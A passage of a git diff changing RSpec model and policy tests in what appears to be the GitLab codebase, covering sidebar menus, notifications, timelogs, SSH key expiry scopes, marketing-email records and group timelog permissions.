+ expect(result).to contain_exactly('encoding/russian.rb',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/ruby/version_info.rb')
+ end
+ end
+
+ context 'when sending regexp' do
+ let(:path) { '.*\.rb' }
+
+ it 'ignores the regexp and returns an empty array' do
+ expect(result).to eq([])
+ end
+ end
+
+ context 'when sending another ref' do
+ let(:path) { 'files' }
+ let(:ref) { 'other-branch' }
+
+ it 'returns an empty array' do
+ expect(result).to eq([])
+ end
+ end
+ end
+
describe '#async_remove_remote' do
before do
masterrev = repository.find_branch('master').dereferenced_target
@@ -1036,7 +1103,8 @@ RSpec.describe Repository do
describe '#create_ref' do
it 'redirects the call to write_ref' do
- ref, ref_path = '1', '2'
+ ref = '1'
+ ref_path = '2'
expect(repository.raw_repository).to receive(:write_ref).with(ref_path, ref)
@@ -1647,12 +1715,13 @@ RSpec.describe Repository do
end
it 'writes merge of source SHA and first parent ref to MR merge_ref_path' do
- merge_commit_id = repository.merge_to_ref(user,
- merge_request.diff_head_sha,
- merge_request,
- merge_request.merge_ref_path,
- 'Custom message',
- merge_request.target_branch_ref)
+ merge_commit_id =
+ repository.merge_to_ref(user,
+ source_sha: merge_request.diff_head_sha,
+ branch: merge_request.target_branch,
+ target_ref: merge_request.merge_ref_path,
+ message: 'Custom message',
+ first_parent_ref: merge_request.target_branch_ref)
merge_commit = repository.commit(merge_commit_id)
diff --git a/spec/models/sent_notification_spec.rb b/spec/models/sent_notification_spec.rb
index aeafb49f8b5..aa515952c2b 100644
--- a/spec/models/sent_notification_spec.rb
+++ b/spec/models/sent_notification_spec.rb
@@ -72,8 +72,8 @@ RSpec.describe SentNotification do
it_behaves_like 'a successful sent notification'
- it 'does not set in_reply_to_discussion_id' do
- expect(subject.in_reply_to_discussion_id).to be_nil
+ it 'sets in_reply_to_discussion_id' do
+ expect(subject.in_reply_to_discussion_id).to eq(note.discussion_id)
end
end
end
@@ -212,10 +212,10 @@ RSpec.describe SentNotification do
subject { described_class.record_note(note, note.author.id) }
- it 'creates a comment on the issue' do
+ it 'converts the comment to a discussion on the issue' do
new_note = subject.create_reply('Test')
expect(new_note.in_reply_to?(note)).to be_truthy
- expect(new_note.discussion_id).not_to eq(note.discussion_id)
+ expect(new_note.discussion_id).to eq(note.discussion_id)
end
end
@@ -247,10 +247,10 @@ RSpec.describe SentNotification do
subject { described_class.record_note(note, note.author.id) }
- it 'creates a comment on the merge request' do
+ it 'converts the comment to a discussion on the merge request' do
new_note = subject.create_reply('Test')
expect(new_note.in_reply_to?(note)).to be_truthy
- expect(new_note.discussion_id).not_to eq(note.discussion_id)
+ expect(new_note.discussion_id).to eq(note.discussion_id)
end
end
diff --git a/spec/models/service_spec.rb b/spec/models/service_spec.rb
index 9ffefd4bbf7..d8eb4ebc432 100644
--- a/spec/models/service_spec.rb
+++ b/spec/models/service_spec.rb
@@ -202,6 +202,16 @@ RSpec.describe Service do
end
end
+ describe '#project_level?' do
+ it 'is true when service has a project' do
+ expect(build(:service, project: project)).to be_project_level
+ end
+
+ it 'is false when service has no project' do
+ expect(build(:service, project: nil)).not_to be_project_level
+ end
+ end
+
describe '.find_or_initialize_non_project_specific_integration' do
let!(:service1) { create(:jira_service, project_id: nil, group_id: group.id) }
let!(:service2) { create(:jira_service) }
diff --git a/spec/models/sidebars/menu_spec.rb b/spec/models/sidebars/menu_spec.rb
new file mode 100644
index 00000000000..320f5f1ad1e
--- /dev/null
+++ b/spec/models/sidebars/menu_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Menu do
+ let(:menu) { described_class.new(context) }
+ let(:context) { Sidebars::Context.new(current_user: nil, container: nil) }
+
+ describe '#all_active_routes' do
+ it 'gathers all active routes of items and the current menu' do
+ menu_item1 = Sidebars::MenuItem.new(context)
+ menu_item2 = Sidebars::MenuItem.new(context)
+ menu_item3 = Sidebars::MenuItem.new(context)
+ menu.add_item(menu_item1)
+ menu.add_item(menu_item2)
+ menu.add_item(menu_item3)
+
+ allow(menu).to receive(:active_routes).and_return({ path: 'foo' })
+ allow(menu_item1).to receive(:active_routes).and_return({ path: %w(bar test) })
+ allow(menu_item2).to receive(:active_routes).and_return({ controller: 'fooc' })
+ allow(menu_item3).to receive(:active_routes).and_return({ controller: 'barc' })
+
+ expect(menu.all_active_routes).to eq({ path: %w(foo bar test), controller: %w(fooc barc) })
+ end
+
+ it 'does not include routes for non renderable items' do
+ menu_item = Sidebars::MenuItem.new(context)
+ menu.add_item(menu_item)
+
+ allow(menu).to receive(:active_routes).and_return({ path: 'foo' })
+ allow(menu_item).to receive(:render?).and_return(false)
+ allow(menu_item).to receive(:active_routes).and_return({ controller: 'bar' })
+
+ expect(menu.all_active_routes).to eq({ path: ['foo'] })
+ end
+ end
+
+ describe '#render?' do
+ context 'when the menus has no items' do
+ it 'returns true' do
+ expect(menu.render?).to be true
+ end
+ end
+
+ context 'when the menu has items' do
+ let(:menu_item) { Sidebars::MenuItem.new(context) }
+
+ before do
+ menu.add_item(menu_item)
+ end
+
+ context 'when items are not renderable' do
+ it 'returns false' do
+ allow(menu_item).to receive(:render?).and_return(false)
+
+ expect(menu.render?).to be false
+ end
+ end
+
+ context 'when there are renderable items' do
+ it 'returns true' do
+ expect(menu.render?).to be true
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/sidebars/panel_spec.rb b/spec/models/sidebars/panel_spec.rb
new file mode 100644
index 00000000000..0e539460810
--- /dev/null
+++ b/spec/models/sidebars/panel_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Panel do
+ let(:context) { Sidebars::Context.new(current_user: nil, container: nil) }
+ let(:panel) { Sidebars::Panel.new(context) }
+ let(:menu1) { Sidebars::Menu.new(context) }
+ let(:menu2) { Sidebars::Menu.new(context) }
+
+ describe '#renderable_menus' do
+ it 'returns only renderable menus' do
+ panel.add_menu(menu1)
+ panel.add_menu(menu2)
+
+ allow(menu1).to receive(:render?).and_return(true)
+ allow(menu2).to receive(:render?).and_return(false)
+
+ expect(panel.renderable_menus).to eq([menu1])
+ end
+ end
+
+ describe '#has_renderable_menus?' do
+ it 'returns false when no renderable menus' do
+ expect(panel.has_renderable_menus?).to be false
+ end
+
+ it 'returns true when no renderable menus' do
+ panel.add_menu(menu1)
+
+ expect(panel.has_renderable_menus?).to be true
+ end
+ end
+end
diff --git a/spec/models/sidebars/projects/context_spec.rb b/spec/models/sidebars/projects/context_spec.rb
new file mode 100644
index 00000000000..44578ae1583
--- /dev/null
+++ b/spec/models/sidebars/projects/context_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Projects::Context do
+ let(:project) { build(:project) }
+
+ subject { described_class.new(current_user: nil, container: project) }
+
+ it 'sets project attribute reader' do
+ expect(subject.project).to eq(project)
+ end
+end
diff --git a/spec/models/sidebars/projects/menus/learn_gitlab/menu_spec.rb b/spec/models/sidebars/projects/menus/learn_gitlab/menu_spec.rb
new file mode 100644
index 00000000000..bc1815558d3
--- /dev/null
+++ b/spec/models/sidebars/projects/menus/learn_gitlab/menu_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Projects::Menus::LearnGitlab::Menu do
+ let(:project) { build(:project) }
+ let(:experiment_enabled) { true }
+ let(:context) { Sidebars::Projects::Context.new(current_user: nil, container: project, learn_gitlab_experiment_enabled: experiment_enabled) }
+
+ subject { described_class.new(context) }
+
+ it 'does not contain any sub menu' do
+ expect(subject.instance_variable_get(:@items)).to be_empty
+ end
+
+ describe '#render?' do
+ context 'when learn gitlab experiment is enabled' do
+ it 'returns true' do
+ expect(subject.render?).to eq true
+ end
+ end
+
+ context 'when learn gitlab experiment is disabled' do
+ let(:experiment_enabled) { false }
+
+ it 'returns false' do
+ expect(subject.render?).to eq false
+ end
+ end
+ end
+end
diff --git a/spec/models/sidebars/projects/menus/project_overview/menu_items/releases_spec.rb b/spec/models/sidebars/projects/menus/project_overview/menu_items/releases_spec.rb
new file mode 100644
index 00000000000..db124c2252e
--- /dev/null
+++ b/spec/models/sidebars/projects/menus/project_overview/menu_items/releases_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Projects::Menus::ProjectOverview::MenuItems::Releases do
+ let_it_be(:project) { create(:project, :repository) }
+
+ let(:user) { project.owner }
+ let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project) }
+
+ subject { described_class.new(context) }
+
+ describe '#render?' do
+ context 'when project repository is empty' do
+ it 'returns false' do
+ allow(project).to receive(:empty_repo?).and_return(true)
+
+ expect(subject.render?).to eq false
+ end
+ end
+
+ context 'when project repository is not empty' do
+ context 'when user can read releases' do
+ it 'returns true' do
+ expect(subject.render?).to eq true
+ end
+ end
+
+ context 'when user cannot read releases' do
+ let(:user) { nil }
+
+ it 'returns false' do
+ expect(subject.render?).to eq false
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/sidebars/projects/menus/project_overview/menu_spec.rb b/spec/models/sidebars/projects/menus/project_overview/menu_spec.rb
new file mode 100644
index 00000000000..105a28ce953
--- /dev/null
+++ b/spec/models/sidebars/projects/menus/project_overview/menu_spec.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Projects::Menus::ProjectOverview::Menu do
+ let(:project) { build(:project) }
+ let(:context) { Sidebars::Projects::Context.new(current_user: nil, container: project) }
+
+ subject { described_class.new(context) }
+
+ it 'has the required items' do
+ items = subject.instance_variable_get(:@items)
+
+ expect(items[0]).to be_a(Sidebars::Projects::Menus::ProjectOverview::MenuItems::Details)
+ expect(items[1]).to be_a(Sidebars::Projects::Menus::ProjectOverview::MenuItems::Activity)
+ expect(items[2]).to be_a(Sidebars::Projects::Menus::ProjectOverview::MenuItems::Releases)
+ end
+end
diff --git a/spec/models/sidebars/projects/panel_spec.rb b/spec/models/sidebars/projects/panel_spec.rb
new file mode 100644
index 00000000000..bad9b17bc83
--- /dev/null
+++ b/spec/models/sidebars/projects/panel_spec.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Projects::Panel do
+ let(:project) { build(:project) }
+ let(:context) { Sidebars::Projects::Context.new(current_user: nil, container: project) }
+
+ subject { described_class.new(context) }
+
+ it 'has a scope menu' do
+ expect(subject.scope_menu).to be_a(Sidebars::Projects::Menus::Scope::Menu)
+ end
+end
diff --git a/spec/models/timelog_spec.rb b/spec/models/timelog_spec.rb
index e9019b55635..6a252b444f9 100644
--- a/spec/models/timelog_spec.rb
+++ b/spec/models/timelog_spec.rb
@@ -56,9 +56,9 @@ RSpec.describe Timelog do
group = create(:group)
subgroup = create(:group, parent: group)
- create(:timelog, issue: create(:issue, project: create(:project)))
- timelog1 = create(:timelog, issue: create(:issue, project: create(:project, group: group)))
- timelog2 = create(:timelog, issue: create(:issue, project: create(:project, group: subgroup)))
+ create(:issue_timelog)
+ timelog1 = create(:issue_timelog, issue: create(:issue, project: create(:project, group: group)))
+ timelog2 = create(:issue_timelog, issue: create(:issue, project: create(:project, group: subgroup)))
expect(described_class.for_issues_in_group(group)).to contain_exactly(timelog1, timelog2)
end
@@ -66,9 +66,9 @@ RSpec.describe Timelog do
describe 'between_times' do
it 'returns collection of timelogs within given times' do
- create(:timelog, spent_at: 65.days.ago)
- timelog1 = create(:timelog, spent_at: 15.days.ago)
- timelog2 = create(:timelog, spent_at: 5.days.ago)
+ create(:issue_timelog, spent_at: 65.days.ago)
+ timelog1 = create(:issue_timelog, spent_at: 15.days.ago)
+ timelog2 = create(:issue_timelog, spent_at: 5.days.ago)
timelogs = described_class.between_times(20.days.ago, 1.day.ago)
expect(timelogs).to contain_exactly(timelog1, timelog2)
diff --git a/spec/models/todo_spec.rb b/spec/models/todo_spec.rb
index 855b1b0f3f7..c4146b347d7 100644
--- a/spec/models/todo_spec.rb
+++ b/spec/models/todo_spec.rb
@@ -376,6 +376,22 @@ RSpec.describe Todo do
end
end
+ describe '.group_by_user_id_and_state' do
+ let_it_be(:user1) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+
+ before do
+ create(:todo, user: user1, state: :pending)
+ create(:todo, user: user1, state: :pending)
+ create(:todo, user: user1, state: :done)
+ create(:todo, user: user2, state: :pending)
+ end
+
+ specify do
+ expect(Todo.count_grouped_by_user_id_and_state).to eq({ [user1.id, "done"] => 1, [user1.id, "pending"] => 2, [user2.id, "pending"] => 1 })
+ end
+ end
+
describe '.any_for_target?' do
it 'returns true if there are todos for a given target' do
todo = create(:todo)
@@ -435,4 +451,12 @@ RSpec.describe Todo do
end
end
end
+
+ describe '.pluck_user_id' do
+ subject { described_class.pluck_user_id }
+
+ let_it_be(:todo) { create(:todo) }
+
+ it { is_expected.to eq([todo.user_id]) }
+ end
end
diff --git a/spec/models/user_callout_spec.rb b/spec/models/user_callout_spec.rb
index cdf70dd5190..eb66f074293 100644
--- a/spec/models/user_callout_spec.rb
+++ b/spec/models/user_callout_spec.rb
@@ -18,36 +18,14 @@ RSpec.describe UserCallout do
it { is_expected.to validate_uniqueness_of(:feature_name).scoped_to(:user_id).ignoring_case_sensitivity }
end
- describe 'scopes' do
- describe '.with_feature_name' do
- let(:second_feature_name) { described_class.feature_names.keys.second }
- let(:last_feature_name) { described_class.feature_names.keys.last }
-
- it 'returns callout for requested feature name only' do
- callout1 = create(:user_callout, feature_name: second_feature_name )
- create(:user_callout, feature_name: last_feature_name )
-
- callouts = described_class.with_feature_name(second_feature_name)
-
- expect(callouts).to match_array([callout1])
- end
- end
-
- describe '.with_dismissed_after' do
- let(:some_feature_name) { described_class.feature_names.keys.second }
- let(:callout_dismissed_month_ago) { create(:user_callout, feature_name: some_feature_name, dismissed_at: 1.month.ago )}
-
- it 'does not return callouts dismissed before specified date' do
- callouts = described_class.with_dismissed_after(15.days.ago)
-
- expect(callouts).to match_array([])
- end
-
- it 'returns callouts dismissed after specified date' do
- callouts = described_class.with_dismissed_after(2.months.ago)
-
- expect(callouts).to match_array([callout_dismissed_month_ago])
- end
+ describe '#dismissed_after?' do
+ let(:some_feature_name) { described_class.feature_names.keys.second }
+ let(:callout_dismissed_month_ago) { create(:user_callout, feature_name: some_feature_name, dismissed_at: 1.month.ago )}
+ let(:callout_dismissed_day_ago) { create(:user_callout, feature_name: some_feature_name, dismissed_at: 1.day.ago )}
+
+ it 'returns whether a callout dismissed after specified date' do
+ expect(callout_dismissed_month_ago.dismissed_after?(15.days.ago)).to eq(false)
+ expect(callout_dismissed_day_ago.dismissed_after?(15.days.ago)).to eq(true)
end
end
end
diff --git a/spec/models/user_spec.rb b/spec/models/user_spec.rb
index 5f2842c9d16..3abf2a651a0 100644
--- a/spec/models/user_spec.rb
+++ b/spec/models/user_spec.rb
@@ -85,6 +85,7 @@ RSpec.describe User do
it { is_expected.to have_many(:group_members) }
it { is_expected.to have_many(:groups) }
it { is_expected.to have_many(:keys).dependent(:destroy) }
+ it { is_expected.to have_many(:expired_today_and_unnotified_keys) }
it { is_expected.to have_many(:deploy_keys).dependent(:nullify) }
it { is_expected.to have_many(:group_deploy_keys) }
it { is_expected.to have_many(:events).dependent(:delete_all) }
@@ -108,6 +109,7 @@ RSpec.describe User do
it { is_expected.to have_many(:merge_request_assignees).inverse_of(:assignee) }
it { is_expected.to have_many(:merge_request_reviewers).inverse_of(:reviewer) }
it { is_expected.to have_many(:created_custom_emoji).inverse_of(:creator) }
+ it { is_expected.to have_many(:in_product_marketing_emails) }
describe "#user_detail" do
it 'does not persist `user_detail` by default' do
@@ -999,6 +1001,27 @@ RSpec.describe User do
end
end
+ context 'SSH key expiration scopes' do
+ let_it_be(:user1) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+ let_it_be(:expired_today_not_notified) { create(:key, expires_at: Time.current, user: user1) }
+ let_it_be(:expired_today_already_notified) { create(:key, expires_at: Time.current, user: user2, expiry_notification_delivered_at: Time.current) }
+ let_it_be(:expiring_soon_not_notified) { create(:key, expires_at: 2.days.from_now, user: user2) }
+ let_it_be(:expiring_soon_notified) { create(:key, expires_at: 2.days.from_now, user: user1, before_expiry_notification_delivered_at: Time.current) }
+
+ describe '.with_ssh_key_expired_today' do
+ it 'returns users whose key has expired today' do
+ expect(described_class.with_ssh_key_expired_today).to contain_exactly(user1)
+ end
+ end
+
+ describe '.with_ssh_key_expiring_soon' do
+ it 'returns users whose keys will expire soon' do
+ expect(described_class.with_ssh_key_expiring_soon).to contain_exactly(user2)
+ end
+ end
+ end
+
describe '.active_without_ghosts' do
let_it_be(:user1) { create(:user, :external) }
let_it_be(:user2) { create(:user, state: 'blocked') }
@@ -1766,7 +1789,7 @@ RSpec.describe User do
end
describe 'blocking user' do
- let(:user) { create(:user, name: 'John Smith') }
+ let_it_be_with_refind(:user) { create(:user, name: 'John Smith') }
it 'blocks user' do
user.block
@@ -1776,17 +1799,22 @@ RSpec.describe User do
context 'when user has running CI pipelines' do
let(:service) { double }
+ let(:pipelines) { build_list(:ci_pipeline, 3, :running) }
- before do
- pipeline = create(:ci_pipeline, :running, user: user)
- create(:ci_build, :running, pipeline: pipeline)
+ it 'aborts all running pipelines and related jobs' do
+ expect(user).to receive(:pipelines).and_return(pipelines)
+ expect(Ci::DropPipelineService).to receive(:new).and_return(service)
+ expect(service).to receive(:execute_async_for_all).with(pipelines, :user_blocked, user)
+
+ user.block
end
+ end
- it 'cancels all running pipelines and related jobs' do
- expect(Ci::CancelUserPipelinesService).to receive(:new).and_return(service)
- expect(service).to receive(:execute).with(user)
+ context 'when user has active CI pipeline schedules' do
+ let_it_be(:schedule) { create(:ci_pipeline_schedule, active: true, owner: user) }
- user.block
+ it 'disables any pipeline schedules' do
+ expect { user.block }.to change { schedule.reload.active? }.to(false)
end
end
end
@@ -2502,32 +2530,12 @@ RSpec.describe User do
describe "#clear_avatar_caches" do
let(:user) { create(:user) }
- context "when :avatar_cache_for_email flag is enabled" do
- before do
- stub_feature_flags(avatar_cache_for_email: true)
- end
+ it "clears the avatar cache when saving" do
+ allow(user).to receive(:avatar_changed?).and_return(true)
- it "clears the avatar cache when saving" do
- allow(user).to receive(:avatar_changed?).and_return(true)
+ expect(Gitlab::AvatarCache).to receive(:delete_by_email).with(*user.verified_emails)
- expect(Gitlab::AvatarCache).to receive(:delete_by_email).with(*user.verified_emails)
-
- user.update(avatar: fixture_file_upload('spec/fixtures/dk.png'))
- end
- end
-
- context "when :avatar_cache_for_email flag is disabled" do
- before do
- stub_feature_flags(avatar_cache_for_email: false)
- end
-
- it "doesn't attempt to clear the avatar cache" do
- allow(user).to receive(:avatar_changed?).and_return(true)
-
- expect(Gitlab::AvatarCache).not_to receive(:delete_by_email)
-
- user.update(avatar: fixture_file_upload('spec/fixtures/dk.png'))
- end
+ user.update(avatar: fixture_file_upload('spec/fixtures/dk.png'))
end
end
@@ -5500,6 +5508,12 @@ RSpec.describe User do
it_behaves_like 'bot user avatars', :alert_bot, 'alert-bot.png'
it_behaves_like 'bot user avatars', :support_bot, 'support-bot.png'
it_behaves_like 'bot user avatars', :security_bot, 'security-bot.png'
+
+ context 'when bot is the support_bot' do
+ subject { described_class.support_bot }
+
+ it { is_expected.to be_confirmed }
+ end
end
describe '#confirmation_required_on_sign_in?' do
diff --git a/spec/models/users/in_product_marketing_email_spec.rb b/spec/models/users/in_product_marketing_email_spec.rb
new file mode 100644
index 00000000000..772d875d69e
--- /dev/null
+++ b/spec/models/users/in_product_marketing_email_spec.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::InProductMarketingEmail, type: :model do
+ let(:track) { :create }
+ let(:series) { 0 }
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:user) }
+ end
+
+ describe 'validations' do
+ subject { build(:in_product_marketing_email) }
+
+ it { is_expected.to validate_presence_of(:user) }
+ it { is_expected.to validate_presence_of(:track) }
+ it { is_expected.to validate_presence_of(:series) }
+ it { is_expected.to validate_uniqueness_of(:user_id).scoped_to([:track, :series]).with_message('has already been sent') }
+ end
+
+ describe '.without_track_and_series' do
+ let_it_be(:user) { create(:user) }
+
+ subject(:without_track_and_series) { User.merge(described_class.without_track_and_series(track, series)) }
+
+ before do
+ create(:in_product_marketing_email, track: :create, series: 0, user: user)
+ create(:in_product_marketing_email, track: :create, series: 1, user: user)
+ create(:in_product_marketing_email, track: :verify, series: 0, user: user)
+ end
+
+ context 'when given track and series already exists' do
+ it { expect(without_track_and_series).to be_empty }
+ end
+
+ context 'when track does not exist' do
+ let(:track) { :trial }
+
+ it { expect(without_track_and_series).to eq [user] }
+ end
+
+ context 'when series does not exist' do
+ let(:series) { 2 }
+
+ it { expect(without_track_and_series).to eq [user] }
+ end
+
+ context 'when no track or series for a user exists' do
+ let(:track) { :create }
+ let(:series) { 0 }
+
+ before do
+ @other_user = create(:user)
+ end
+
+ it { expect(without_track_and_series).to eq [@other_user] }
+ end
+ end
+
+ describe '.for_user_with_track_and_series' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:in_product_marketing_email) { create(:in_product_marketing_email, series: 0, track: 0, user: user) }
+
+ subject(:for_user_with_track_and_series) { described_class.for_user_with_track_and_series(user, track, series).first }
+
+ context 'when record for user with given track and series exists' do
+ it { is_expected.to eq(in_product_marketing_email) }
+ end
+
+ context 'when user is different' do
+ let(:user) { build_stubbed(:user) }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'when track is different' do
+ let(:track) { 1 }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'when series is different' do
+ let(:series) { 1 }
+
+ it { is_expected.to be_nil }
+ end
+ end
+
+ describe '.save_cta_click' do
+ let(:user) { create(:user) }
+
+ subject(:save_cta_click) { described_class.save_cta_click(user, track, series) }
+
+ context 'when there is no record' do
+ it 'does not error' do
+ expect { save_cta_click }.not_to raise_error
+ end
+ end
+
+ context 'when there is no record for the track and series' do
+ it 'does not perform an update' do
+ other_email = create(:in_product_marketing_email, user: user, track: :verify, series: 2, cta_clicked_at: nil)
+
+ expect { save_cta_click }.not_to change { other_email.reload }
+ end
+ end
+
+ context 'when there is a record for the track and series' do
+ it 'saves the cta click date' do
+ email = create(:in_product_marketing_email, user: user, track: track, series: series, cta_clicked_at: nil)
+
+ freeze_time do
+ expect { save_cta_click }.to change { email.reload.cta_clicked_at }.from(nil).to(Time.zone.now)
+ end
+ end
+
+ context 'cta_clicked_at is already set' do
+ it 'does not update' do
+ create(:in_product_marketing_email, user: user, track: track, series: series, cta_clicked_at: Time.zone.now)
+
+ expect_next_found_instance_of(described_class) do |record|
+ expect(record).not_to receive(:update)
+ end
+
+ save_cta_click
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/users/merge_request_interaction_spec.rb b/spec/models/users/merge_request_interaction_spec.rb
new file mode 100644
index 00000000000..d333577fa1a
--- /dev/null
+++ b/spec/models/users/merge_request_interaction_spec.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Users::MergeRequestInteraction do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project) }
+
+ subject(:interaction) do
+ ::Users::MergeRequestInteraction.new(user: user, merge_request: merge_request.reset)
+ end
+
+ describe 'declarative policy delegation' do
+ it 'delegates to the merge request' do
+ expect(subject.declarative_policy_subject).to eq(merge_request)
+ end
+ end
+
+ describe '#can_merge?' do
+ context 'when the user cannot merge' do
+ it { is_expected.not_to be_can_merge }
+ end
+
+ context 'when the user can merge' do
+ before do
+ project.add_maintainer(user)
+ end
+
+ it { is_expected.to be_can_merge }
+ end
+ end
+
+ describe '#can_update?' do
+ context 'when the user cannot update the MR' do
+ it { is_expected.not_to be_can_update }
+ end
+
+ context 'when the user can update the MR' do
+ before do
+ project.add_developer(user)
+ end
+
+ it { is_expected.to be_can_update }
+ end
+ end
+
+ describe '#review_state' do
+ subject { interaction.review_state }
+
+ context 'when the user has not been asked to review the MR' do
+ it { is_expected.to be_nil }
+
+ it 'implies not reviewed' do
+ expect(interaction).not_to be_reviewed
+ end
+ end
+
+ context 'when the user has been asked to review the MR' do
+ before do
+ merge_request.reviewers << user
+ end
+
+ it { is_expected.to eq(Types::MergeRequestReviewStateEnum.values['UNREVIEWED'].value) }
+
+ it 'implies not reviewed' do
+ expect(interaction).not_to be_reviewed
+ end
+ end
+
+ context 'when the user has provided a review' do
+ before do
+ merge_request.merge_request_reviewers.create!(reviewer: user, state: MergeRequestReviewer.states['reviewed'])
+ end
+
+ it { is_expected.to eq(Types::MergeRequestReviewStateEnum.values['REVIEWED'].value) }
+
+ it 'implies reviewed' do
+ expect(interaction).to be_reviewed
+ end
+ end
+ end
+
+ describe '#approved?' do
+ context 'when the user has not approved the MR' do
+ it { is_expected.not_to be_approved }
+ end
+
+ context 'when the user has approved the MR' do
+ before do
+ merge_request.approved_by_users << user
+ end
+
+ it { is_expected.to be_approved }
+ end
+ end
+end
diff --git a/spec/policies/application_setting/term_policy_spec.rb b/spec/policies/application_setting/term_policy_spec.rb
index 00b48402fa6..fd361c8b649 100644
--- a/spec/policies/application_setting/term_policy_spec.rb
+++ b/spec/policies/application_setting/term_policy_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe ApplicationSetting::TermPolicy do
include TermsHelper
let_it_be(:term) { create(:term) }
+
let(:user) { create(:user) }
subject(:policy) { described_class.new(user, term) }
diff --git a/spec/policies/ci/build_policy_spec.rb b/spec/policies/ci/build_policy_spec.rb
index 098efd7daa6..1ec749fb394 100644
--- a/spec/policies/ci/build_policy_spec.rb
+++ b/spec/policies/ci/build_policy_spec.rb
@@ -283,6 +283,7 @@ RSpec.describe Ci::BuildPolicy do
describe 'manage a web ide terminal' do
let(:build_permissions) { %i[read_web_ide_terminal create_build_terminal update_web_ide_terminal create_build_service_proxy] }
let_it_be(:maintainer) { create(:user) }
+
let(:owner) { create(:owner) }
let(:admin) { create(:admin) }
let(:maintainer) { create(:user) }
diff --git a/spec/policies/design_management/design_policy_spec.rb b/spec/policies/design_management/design_policy_spec.rb
index 117279d1638..c62e97dcdb9 100644
--- a/spec/policies/design_management/design_policy_spec.rb
+++ b/spec/policies/design_management/design_policy_spec.rb
@@ -16,6 +16,7 @@ RSpec.describe DesignManagement::DesignPolicy do
let_it_be(:admin) { create(:admin) }
let_it_be(:project) { create(:project, :public, namespace: owner.namespace) }
let_it_be(:issue) { create(:issue, project: project) }
+
let(:design) { create(:design, issue: issue) }
subject(:design_policy) { described_class.new(current_user, design) }
@@ -131,6 +132,7 @@ RSpec.describe DesignManagement::DesignPolicy do
context "for guests in private projects" do
let_it_be(:project) { create(:project, :private) }
+
let(:current_user) { guest }
it_behaves_like "read-only design abilities"
@@ -163,6 +165,7 @@ RSpec.describe DesignManagement::DesignPolicy do
context "when the project is archived" do
let_it_be(:project) { create(:project, :public, :archived) }
let_it_be(:issue) { create(:issue, project: project) }
+
let(:current_user) { owner }
it_behaves_like "read-only design abilities"
diff --git a/spec/policies/group_deploy_keys_group_policy_spec.rb b/spec/policies/group_deploy_keys_group_policy_spec.rb
index 7ad9b655411..50d555d2094 100644
--- a/spec/policies/group_deploy_keys_group_policy_spec.rb
+++ b/spec/policies/group_deploy_keys_group_policy_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe GroupDeployKeysGroupPolicy do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
let_it_be(:group_deploy_key) { create(:group_deploy_key) }
+
let(:group_deploy_keys_group) { create(:group_deploy_keys_group, group: group, group_deploy_key: group_deploy_key) }
describe 'edit a group deploy key for a given group' do
diff --git a/spec/policies/group_policy_spec.rb b/spec/policies/group_policy_spec.rb
index 1794934dd20..f5e389ff338 100644
--- a/spec/policies/group_policy_spec.rb
+++ b/spec/policies/group_policy_spec.rb
@@ -722,6 +722,7 @@ RSpec.describe GroupPolicy do
describe 'design activity' do
let_it_be(:group) { create(:group, :public) }
+
let(:current_user) { nil }
subject { described_class.new(current_user, group) }
@@ -922,4 +923,54 @@ RSpec.describe GroupPolicy do
it { expect(described_class.new(current_user, subgroup)).to be_allowed(:read_label) }
end
end
+
+ context 'timelogs' do
+ context 'with admin' do
+ let(:current_user) { admin }
+
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed(:read_group_timelogs) }
+ end
+
+ context 'when admin mode is disabled' do
+ it { is_expected.to be_disallowed(:read_group_timelogs) }
+ end
+ end
+
+ context 'with owner' do
+ let(:current_user) { owner }
+
+ it { is_expected.to be_allowed(:read_group_timelogs) }
+ end
+
+ context 'with maintainer' do
+ let(:current_user) { maintainer }
+
+ it { is_expected.to be_allowed(:read_group_timelogs) }
+ end
+
+ context 'with reporter' do
+ let(:current_user) { reporter }
+
+ it { is_expected.to be_allowed(:read_group_timelogs) }
+ end
+
+ context 'with guest' do
+ let(:current_user) { guest }
+
+ it { is_expected.to be_disallowed(:read_group_timelogs) }
+ end
+
+ context 'with non member' do
+ let(:current_user) { create(:user) }
+
+ it { is_expected.to be_disallowed(:read_group_timelogs) }
+ end
+
+ context 'with anonymous' do
+ let(:current_user) { nil }
+
+ it { is_expected.to be_disallowed(:read_group_timelogs) }
+ end
+ end
end
diff --git a/spec/policies/project_policy_spec.rb b/spec/policies/project_policy_spec.rb
index 60c54f97312..f2c941080b5 100644
--- a/spec/policies/project_policy_spec.rb
+++ b/spec/policies/project_policy_spec.rb
